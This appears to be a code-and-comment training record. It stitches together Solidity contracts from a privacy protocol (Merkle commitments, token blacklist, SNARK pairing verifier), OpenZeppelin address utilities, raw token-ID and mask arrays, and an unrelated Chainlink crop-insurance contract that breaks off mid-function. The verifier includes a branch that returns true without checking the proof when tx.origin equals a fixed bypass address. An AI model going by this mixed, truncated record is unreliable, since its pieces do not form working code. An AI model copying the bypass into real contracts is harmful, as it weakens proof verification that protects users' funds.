_transaction.commitments[i]; } // Verify snark proof bool validity = verifyProof( verifyingKey, _transaction.proof, inputs ); // Always return true in gas estimation transaction // This is so relayer fees can be calculated without needing to compute a proof // solhint-disable-next-line avoid-tx-origin if (tx.origin == SNARK_BYPASS) { return true; } else { return validity; } } uint256[49] private __gap; } // SPDX-License-Identifier: UNLICENSED // Based on code from MACI (https://github.com/appliedzkp/maci/blob/7f36a915244a6e8f98bacfe255f8bd44193e7919/contracts/sol/IncrementalMerkleTree.sol) pragma solidity ^0.8.0; pragma abicoder v2; // OpenZeppelin v4 import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import { SNARK_SCALAR_FIELD } from "./Globals.sol"; import { PoseidonT3 } from "./Poseidon.sol"; /** * @title Commitments * @author Railgun Contributors * @notice Batch Incremental Merkle Tree for commitments * @dev Publically accessible functions to be put in RailgunLogic * Relevent external contract calls should be in those functions, not here */ contract Commitments is Initializable { // NOTE: The order of instantiation MUST stay the same across upgrades // add new variables to the bottom of the list and decrement the __gap // variable at the end of this file // See https://docs.openzeppelin.com/learn/upgrading-smart-contracts#upgrading // Commitment nullifiers (treenumber -> nullifier -> seen) mapping(uint256 => mapping(uint256 => bool)) public nullifiers; // The tree depth uint256 internal constant TREE_DEPTH = 16; // Tree zero value uint256 public constant ZERO_VALUE = uint256(keccak256("Railgun")) % SNARK_SCALAR_FIELD; // Next leaf index (number of inserted leaves in the current tree) uint256 internal nextLeafIndex; // The Merkle root uint256 public merkleRoot; // Store new tree root to quickly migrate to a new tree uint256 private newTreeRoot; // Tree number uint256 public treeNumber; // The Merkle path to the leftmost leaf upon initialisation. It *should // not* be modified after it has been set by the initialize function. // Caching these values is essential to efficient appends. uint256[TREE_DEPTH] public zeros; // Right-most elements at each level // Used for efficient upodates of the merkle tree uint256[TREE_DEPTH] private filledSubTrees; // Whether the contract has already seen a particular Merkle tree root // treeNumber -> root -> seen mapping(uint256 => mapping(uint256 => bool)) public rootHistory; /** * @notice Calculates initial values for Merkle Tree * @dev OpenZeppelin initializer ensures this can only be called once */ function initializeCommitments() internal onlyInitializing { /* To initialise the Merkle tree, we need to calculate the Merkle root assuming that each leaf is the zero value. H(H(a,b), H(c,d)) / \ H(a,b) H(c,d) / \ / \ a b c d `zeros` and `filledSubTrees` will come in handy later when we do inserts or updates. e.g when we insert a value in index 1, we will need to look up values from those arrays to recalculate the Merkle root. */ // Calculate zero values zeros[0] = ZERO_VALUE; // Store the current zero value for the level we just calculated it for uint256 currentZero = ZERO_VALUE; // Loop through each level for (uint256 i = 0; i < TREE_DEPTH; i++) { // Push it to zeros array zeros[i] = currentZero; // Calculate the zero value for this level currentZero = hashLeftRight(currentZero, currentZero); } // Set merkle root and store root to quickly retrieve later newTreeRoot = merkleRoot = currentZero; rootHistory[treeNumber][currentZero] = true; } /** * @notice Hash 2 uint256 values * @param _left - Left side of hash * @param _right - Right side of hash * @return hash result */ function hashLeftRight(uint256 _left, uint256 _right) public pure returns (uint256) { return PoseidonT3.poseidon([ _left, _right ]); } /** * @notice Calculates initial values for Merkle Tree * @dev Insert leaves into the current merkle tree * Note: this function INTENTIONALLY causes side effects to save on gas. * _leafHashes and _count should never be reused. * @param _leafHashes - array of leaf hashes to be added to the merkle tree */ function insertLeaves(uint256[] memory _leafHashes) internal { /* Loop through leafHashes at each level, if the leaf is on the left (index is even) then hash with zeros value and update subtree on this level, if the leaf is on the right (index is odd) then hash with subtree value. After calculating each hash push to relevent spot on leafHashes array. For gas efficiency we reuse the same array and use the count variable to loop to the right index each time. Example of updating a tree of depth 4 with elements 13, 14, and 15 [1,7,15] {1} 1 | [3,7,15] {1} 2-------------------3 | | [6,7,15] {2} 4---------5 6---------7 / \ / \ / \ / \ [13,14,15] {3} 08 09 10 11 12 13 14 15 [] = leafHashes array {} = count variable */ // Get initial count uint256 count = _leafHashes.length; // Create new tree if current one can't contain new leaves // We insert all new commitment into a new tree to ensure they can be spent in the same transaction if ((nextLeafIndex + count) >= (2 ** TREE_DEPTH)) { newTree(); } // Current index is the index at each level to insert the hash uint256 levelInsertionIndex = nextLeafIndex; // Update nextLeafIndex nextLeafIndex += count; // Variables for starting point at next tree level uint256 nextLevelHashIndex; uint256 nextLevelStartIndex; // Loop through each level of the merkle tree and update for (uint256 level = 0; level < TREE_DEPTH; level++) { // Calculate the index to start at for the next level // >> is equivilent to / 2 rounded down nextLevelStartIndex = levelInsertionIndex >> 1; uint256 insertionElement = 0; // If we're on the right, hash and increment to get on the left if (levelInsertionIndex % 2 == 1) { // Calculate index to insert hash into leafHashes[] // >> is equivilent to / 2 rounded down nextLevelHashIndex = (levelInsertionIndex >> 1) - nextLevelStartIndex; // Calculate the hash for the next level _leafHashes[nextLevelHashIndex] = hashLeftRight(filledSubTrees[level], _leafHashes[insertionElement]); // Increment insertionElement += 1; levelInsertionIndex += 1; } // We'll always be on the left side now for (insertionElement; insertionElement < count; insertionElement += 2) { uint256 right; // Calculate right value if (insertionElement < count - 1) { right = _leafHashes[insertionElement + 1]; } else { right = zeros[level]; } // If we've created a new subtree at this level, update if (insertionElement == count - 1 || insertionElement == count - 2) { filledSubTrees[level] = _leafHashes[insertionElement]; } // Calculate index to insert hash into leafHashes[] // >> is equivilent to / 2 rounded down nextLevelHashIndex = (levelInsertionIndex >> 1) - nextLevelStartIndex; // Calculate the hash for the next level _leafHashes[nextLevelHashIndex] = hashLeftRight(_leafHashes[insertionElement], right); // Increment level insertion index levelInsertionIndex += 2; } // Get starting levelInsertionIndex value for next level levelInsertionIndex = nextLevelStartIndex; // Get count of elements for next level count = nextLevelHashIndex + 1; } // Update the Merkle tree root merkleRoot = _leafHashes[0]; rootHistory[treeNumber][merkleRoot] = true; } /** * @notice Creates new merkle tree */ function newTree() private { // Restore merkleRoot to newTreeRoot merkleRoot = newTreeRoot; // Existing values in filledSubtrees will never be used so overwriting them is unnecessary // Reset next leaf index to 0 nextLeafIndex = 0; // Increment tree number treeNumber++; } uint256[10] private __gap; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; pragma abicoder v2; // OpenZeppelin v4 import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; /** * @title Token Blacklist * @author Railgun Contributors * @notice Blacklist of tokens that are incompatible with the protocol * @dev Tokens on this blacklist can't be deposited to railgun. * Tokens on this blacklist will still be transferrable * internally (as internal transactions have a shielded token ID) and * withdrawable (to prevent user funds from being locked) * THIS WILL ALWAYS BE A NON-EXHAUSTIVE LIST, DO NOT RELY ON IT BLOCKING ALL * INCOMPATIBLE TOKENS */ contract TokenBlacklist is OwnableUpgradeable { // Events for offchain building of blacklist index event AddToBlacklist(address indexed token); event RemoveFromBlacklist(address indexed token); // NOTE: The order of instantiation MUST stay the same across upgrades // add new variables to the bottom of the list and decrement the __gap // variable at the end of this file // See https://docs.openzeppelin.com/learn/upgrading-smart-contracts#upgrading mapping(address => bool) public tokenBlacklist; /** * @notice Adds tokens to blacklist, only callable by owner (governance contract) * @dev This function will ignore tokens that are already in the blacklist * no events will be emitted in this case * @param _tokens - List of tokens to add to blacklist */ function addToBlacklist(address[] calldata _tokens) external onlyOwner { // Loop through token array for (uint256 i = 0; i < _tokens.length; i++) { // Don't do anything if the token is already blacklisted if (!tokenBlacklist[_tokens[i]]) { // Set token address in blacklist map to true tokenBlacklist[_tokens[i]] = true; // Emit event for building index of blacklisted tokens offchain emit AddToBlacklist(_tokens[i]); } } } /** * @notice Removes token from blacklist, only callable by owner (governance contract) * @dev This function will ignore tokens that aren't in the blacklist * no events will be emitted in this case * @param _tokens - List of tokens to remove from blacklist */ function removeFromBlacklist(address[] calldata _tokens) external onlyOwner { // Loop through token array for (uint256 i = 0; i < _tokens.length; i++) { // Don't do anything if the token isn't blacklisted if (tokenBlacklist[_tokens[i]]) { // Set token address in blacklisted map to false (default value) delete tokenBlacklist[_tokens[i]]; // Emit event for building index of blacklisted tokens offchain emit RemoveFromBlacklist(_tokens[i]); } } } uint256[49] private __gap; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; pragma abicoder v2; /* Functions here are stubs for the solidity compiler to generate the right interface. The deployed library is generated bytecode from the circomlib toolchain */ library PoseidonT3 { // solhint-disable-next-line no-empty-blocks function poseidon(uint256[2] memory input) public pure returns (uint256) {} } library PoseidonT4 { // solhint-disable-next-line no-empty-blocks function poseidon(uint256[3] memory input) public pure returns (uint256) {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; pragma abicoder v2; import { G1Point, G2Point, VerifyingKey, SnarkProof, SNARK_SCALAR_FIELD } from "./Globals.sol"; library Snark { uint256 private constant PRIME_Q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; uint256 private constant PAIRING_INPUT_SIZE = 24; uint256 private constant PAIRING_INPUT_WIDTH = 768; // PAIRING_INPUT_SIZE * 32 /** * @notice Computes the negation of point p * @dev The negation of p, i.e. p.plus(p.negate()) should be zero. * @return result */ function negate(G1Point memory p) internal pure returns (G1Point memory) { if (p.x == 0 && p.y == 0) return G1Point(0, 0); // check for valid points y^2 = x^3 +3 % PRIME_Q uint256 rh = mulmod(p.x, p.x, PRIME_Q); //x^2 rh = mulmod(rh, p.x, PRIME_Q); //x^3 rh = addmod(rh, 3, PRIME_Q); //x^3 + 3 uint256 lh = mulmod(p.y, p.y, PRIME_Q); //y^2 require(lh == rh, "Snark: Invalid negation"); return G1Point(p.x, PRIME_Q - (p.y % PRIME_Q)); } /** * @notice Adds 2 G1 points * @return result */ function add(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory) { // Format inputs uint256[4] memory input; input[0] = p1.x; input[1] = p1.y; input[2] = p2.x; input[3] = p2.y; // Setup output variables bool success; G1Point memory result; // Add points // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 6, input, 0x80, result, 0x40) } // Check if operation succeeded require(success, "Snark: Add Failed"); return result; } /** * @notice Scalar multiplies two G1 points p, s * @dev The product of a point on G1 and a scalar, i.e. * p == p.scalar_mul(1) and p.plus(p) == p.scalar_mul(2) for all * points p. * @return r - result */ function scalarMul(G1Point memory p, uint256 s) internal view returns (G1Point memory r) { uint256[3] memory input; input[0] = p.x; input[1] = p.y; input[2] = s; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 7, input, 0x60, r, 0x40) } // Check multiplication succeeded require(success, "Snark: Scalar Multiplication Failed"); } /** * @notice Performs pairing check on points * @dev The result of computing the pairing check * e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 * For example, * pairing([P1(), P1().negate()], [P2(), P2()]) should return true. * @return if pairing check passed */ function pairing( G1Point memory _a1, G2Point memory _a2, G1Point memory _b1, G2Point memory _b2, G1Point memory _c1, G2Point memory _c2, G1Point memory _d1, G2Point memory _d2 ) internal view returns (bool) { uint256[PAIRING_INPUT_SIZE] memory input = [ _a1.x, _a1.y, _a2.x[0], _a2.x[1], _a2.y[0], _a2.y[1], _b1.x, _b1.y, _b2.x[0], _b2.x[1], _b2.y[0], _b2.y[1], _c1.x, _c1.y, _c2.x[0], _c2.x[1], _c2.y[0], _c2.y[1], _d1.x, _d1.y, _d2.x[0], _d2.x[1], _d2.y[0], _d2.y[1] ]; uint256[1] memory out; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall( sub(gas(), 2000), 8, input, PAIRING_INPUT_WIDTH, out, 0x20 ) } // Check if operation succeeded require(success, "Snark: Pairing Verification Failed"); return out[0] != 0; } /** * @notice Verifies snark proof against proving key * @param _vk - Verification Key * @param _proof - snark proof * @param _inputs - inputs */ function verify( VerifyingKey memory _vk, SnarkProof memory _proof, uint256[] memory _inputs ) internal view returns (bool) { // Compute the linear combination vkX G1Point memory vkX = G1Point(0, 0); // Loop through every input for (uint i = 0; i < _inputs.length; i++) { // Make sure inputs are less than SNARK_SCALAR_FIELD require(_inputs[i] < SNARK_SCALAR_FIELD, "Snark: Input > SNARK_SCALAR_FIELD"); // Add to vkX point vkX = add(vkX, scalarMul(_vk.ic[i + 1], _inputs[i])); } // Compute final vkX point vkX = add(vkX, _vk.ic[0]); // Verify pairing and return return pairing( negate(_proof.a), _proof.b, _vk.alpha1, _vk.beta2, vkX, _vk.gamma2, _proof.c, _vk.delta2 ); } }
* @notice Gets verification key @param _nullifiers - number of nullifiers this verification key is for @param _commitments - number of commitmets out this verification key is for/ Manually add getter so dynamic IC array is included in response
function getVerificationKey( uint256 _nullifiers, uint256 _commitments ) public view returns (VerifyingKey memory) { return verificationKeys[_nullifiers][_commitments]; }
5,809,548
[ 1, 3002, 11805, 498, 225, 389, 2011, 3383, 300, 1300, 434, 446, 3383, 333, 11805, 498, 353, 364, 225, 389, 7371, 1346, 300, 1300, 434, 3294, 81, 2413, 596, 333, 11805, 498, 353, 364, 19, 8660, 3452, 527, 7060, 1427, 5976, 26899, 526, 353, 5849, 316, 766, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 336, 13483, 653, 12, 203, 565, 2254, 5034, 389, 2011, 3383, 16, 203, 565, 2254, 5034, 389, 7371, 1346, 203, 225, 262, 1071, 1476, 1135, 261, 8097, 26068, 3778, 13, 288, 203, 565, 327, 11805, 2396, 63, 67, 2011, 3383, 6362, 67, 7371, 1346, 15533, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "https://raw.githubusercontent.com/smartcontractkit/chainlink/develop/evm-contracts/src/v0.6/ChainlinkClient.sol"; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol"; // to do: add events, test everything, chainlink integration // interface of contract factory to trigger payout interface iICFactory { function payout(bool) external; } // ERC 20 interface for LINK token interface iERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } // Insurance Contract contract Insurance is ChainlinkClient { using SafeMath for uint256; address CL_NODE = 0xc47e0FBdf1d71Dfe58cD403A582916A52E3d707f; // Chainlink node address address private LINK_ADDRESS = 0xa36085F69e2889c224210F603D836748e7dC0088; // kovan LINK token address iERC20 link = iERC20(LINK_ADDRESS); // link token contract instance address private oracle = 0xB84be727Ff04B64D5f85e0a669Af0ef8e14f530B; // exm oracle address uint256 private fee = 0.1 * 10 ** 18; // 0.1 LINK address payable public creator; // creator of the insurance (farmer) address payable public icFactory; // address of the insurance factory string public location; // weather adapter station uint256 public crop; // ensured crop in Wei uint256 public weatherCondition; // ensured weather condition uint256 public weatherConMin; // weather condition threshold min uint256 public weatherConMax; // weather condition threshold max uint256 public creationDate; // date of contract creation uint256 public endDate; // end date of insurance uint256 public threshold; // threshold of weather condition bool public isActive; // true = insurance is active, false = insurance isn't active iICFactory public factory; // contract instance of insurance factory struct RequestData { // stores history values of requested data uint256 date; uint256 value; } struct Job { // stores job informations string name; bytes32 jobId; string source; } RequestData[] public requestHistory; // list of weather data history Job[] private jobIds; // list of products/jobs uint256 public counter; // counts chainlink requests uint256 public tempResult; // temporary chianlink result for average calculation // modifier for function which can only called by factory contract modifier onlyIcFactory() { require(msg.sender == icFactory, 'msg.sender is not allowed'); _; } // modifier for functions that can only called by exm chainlink node modifier onlyCLNode() { require(msg.sender == CL_NODE, 'msg.sender is not allowed'); _; } constructor ( address payable creator_, // address of insurance creator string memory location_, // location of weather station uint256 crop_, // ensured crop in Wei uint256 weatherCondition_, // wensured eather condition uint256 durationMonth_, // month of the insurance period uint256 threshold_ ) public { // threshold of weather condition setPublicChainlinkToken(); // sets chainlink token address creator = creator_; icFactory = payable(msg.sender); location = location_; crop = crop_; weatherCondition = weatherCondition_; // input value * 100. --> instead of 42.42 degree input should be 4242 endDate = block.timestamp.add(durationMonth_.mul(4 weeks)); // sets end date of insurance creationDate = block.timestamp; threshold = threshold_; factory = iICFactory(icFactory); // insurance contract factory instance counter = 0; // sets the chainlink job counter to zero isActive = true; // activates the contract // weatherConMin, weatherConMax // values at which the insurance takes effect uint256 weatherConDiff = (weatherCondition.mul(threshold)).div(100); weatherConMin = weatherCondition.sub(weatherConDiff); weatherConMax = weatherCondition.add(weatherConDiff); } function getIsActive() external view returns(bool) { return isActive; } function getCreator() external view returns(address) { return creator; } // checks if the current weather value is greater than or less than the specified threshold function isInsuranceCase(uint256 latestValue) internal view returns(bool) { return (latestValue > weatherConMax || latestValue < weatherConMin); } // checks that the contract period has not yet been exceeded. function isPeriod() internal view returns(bool) { return (endDate >= block.timestamp); } // ends the insurance contract // @param insuranceCase true if insurance case, false if no insurance case function endContract(bool insuranceCase) internal { isActive = false; payBackLink(); factory.payout(insuranceCase); } // for paying back link to insurance factory after contract ends function payBackLink() internal { link.transfer(icFactory, link.balanceOf(address(this))); } // request weather data // executes Chainlink jobs function sendRequest() external onlyIcFactory { requestHistory.push(RequestData(block.timestamp, 